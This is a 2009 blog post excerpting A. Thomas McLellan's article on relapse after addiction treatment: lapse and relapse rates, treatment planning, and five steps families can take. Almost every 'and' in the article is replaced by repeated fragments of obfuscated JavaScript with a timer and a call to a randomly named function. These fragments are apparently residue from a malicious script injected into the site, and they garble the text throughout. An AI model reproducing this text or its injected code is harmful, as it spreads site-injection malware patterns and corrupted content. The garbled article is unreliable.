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Treatment is Over. Now What if a Relapse Happens?

Posted on: January 29th, 2009 by Nanette Zumwalt

by
A. Thomas McLellan, Ph.D.

Summary

  • Some of the most challenging aspects of recovery occur after
    treatment is over, because recovered people frequently suffer relapses.
  • Family preparation for the post-treatment period can help minimize the damage andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and disappointment of a relapse.

Even effectively treated people with addictions will confront
unexpected situations after they leave a treatment program andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and return
to their home environment. These situations may produce intense periods
of craving to re-use alcohol andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and other drugs. Lapse, defined as re-use
of alcohol or drugs at least once following treatment, occurs in at
least 50% of those who complete treatment. The most dangerous period
for lapse is the first 3-6 months after completion of formal treatment.
Relapse, defined as return to excessive or problematic use, is less
common, occurring in approximately 20-30% of those who complete formal
care in the prior year.

It is critical that patients, their families andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and friends prepare for
the possibility of lapse andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and relapse. The preparation should include
early detection of a lapse andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and establishment of steps to keep that
problem from becoming a full-blown relapse. Two sets of activities can
reduce the likelihood of relapse andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and reduce the severity if it does
occur.

Treatment-Related Preparation

A good addiction treatment program prepares patients to:

  • recognize they have a problem that will require continued management andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and monitoring
  • learn
    andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and practice some of the fundamental skills needed to recognize andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and
    overcome the urge to use or drink when these situations emerge
  • be
    engaged in a continuing care program such as AA andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and receive regular
    monitoring of substance use through urine screening or breathalyzer
  • receive periodic phone calls or in-home visits following care to monitor their recovery

These generic elements of effective planning during treatment are
among the best clinical practices available to forestall lapse. This
planning should involve families so they can better understandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and the
treatment issues, be prepared to support the recovery plan andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and be aware
of signs of lapse.

Post-Treatment Preparation

To prevent andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and contain relapse the family should agree to fully
participate in planned continuing care activities. Families andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and all
concerned others can take five helpful steps:

  • Have copies of the continuing care plan prominently displayed to reduce ambiguity andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and promote full communication andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and response.
  • Early
    in formal treatment, ask the family member in treatment to describe in
    writing some of the very early signs andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and behaviors that may lead to
    his/her lapse andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and relapse. For example, he/she might write something
    like "I will begin hanging out with my friend Jimmy," "I will not do my
    homework" or "I will stop attending AA meetings." As the family member
    undergoes continuing care, regularly refer to these written
    descriptions to monitor the recovery process.
  • During formal
    treatment, as the individual thinks about relapse scenarios, ask what
    s/he thinks should be done when early relapse signs emerge. Use these
    words to develop a contract that includes an action plan the family
    will follow when any of these signs surface. For example, s/he might
    write "take my cash andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and credit cards," or "increase the urine screens."
    Be prepared – before the relapse happens – to take the type of actions
    contracted.
  • Receive andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and display the results of post-treatment urine screens. Discuss any positive results openly andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and honestly.
  • Monitor
    andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and support changes that are consistent with a drug-free lifestyle. In
    other words "catch him doing something good" andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and then support it
    appropriately.

Excerpted from:  HBO: ADDICTION: AFTERCARE

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